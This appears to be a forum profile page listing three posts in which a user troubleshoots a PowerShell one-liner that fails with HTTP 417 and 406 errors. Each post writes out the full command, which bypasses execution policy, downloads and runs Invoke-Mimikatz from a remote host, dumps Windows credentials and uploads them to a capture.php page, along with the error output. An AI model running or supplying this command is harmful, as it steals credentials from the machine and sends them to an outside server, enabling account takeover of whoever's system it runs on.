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BrandonEckert

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Posts posted by BrandonEckert

  1. Just realized I had a typo, but the original error I had still exists. Below is the command I am running, as well as the Output:

     

    C:\Windows\system32>powershell -NoP -Exec Bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.199/im.ps1');$o=Invoke-Mimikatz -DumpCreds;[System.Net.ServicePointManager]::Expect100Continue = $false;(New-Object Net.WebClient).UploadString('http://10.0.0.199/capture.php',$o)"


    Exception calling "UploadString" with "2" argument(s): "The remote server returned an error: (417) Expectation Failed."
    At line:1 char:204
    + IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.199/im.ps1');$o=Invoke-Mimikatz -DumpCreds;[System.Net.ServicePointManager]::Expect100Continue =
    $false;(New-Object Net.WebClient).UploadString <<<< ('http://10.0.0.199/capture.php',$o)
        + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
        + FullyQualifiedErrorId : DotNetMethodException

  2. Sorry, yes I did redact my domain. I added that and now receive the following. Any ideas?:

     

    o)"
    Exception calling "UploadString" with "2" argument(s): "The remote server retur
    ned an error: (406) Not Acceptable."
    At line:1 char:151
    + IEX(New-Object Net.WebClient).DownloadString('http://<my domain>/im.ps
    1');$o=Invoke-Mimikatz -DumpCreds;(New-Object Net.WebClient).UploadString <<<<
    ('http://<my domain>/capture.php',$o)
        + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
        + FullyQualifiedErrorId : DotNetMethodException

  3. Good evening, I have been trying to get this (as well as the original script) to successfully work to no avail. When I manually run the powershell command, I receive the following error. Any ideas?

     

    Exception calling "UploadString" with "2" argument(s): "The remote server retur
    ned an error: (417) Expectation Failed."
    At line:1 char:151
    + IEX(New-Object Net.WebClient).DownloadString('http://<my domain.com>/im.ps
    1');$o=Invoke-Mimikatz -DumpCreds;(New-Object Net.WebClient).UploadString <<<<
    ('http://<my domain.com>/capture.php',$o)
        + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
        + FullyQualifiedErrorId : DotNetMethodException

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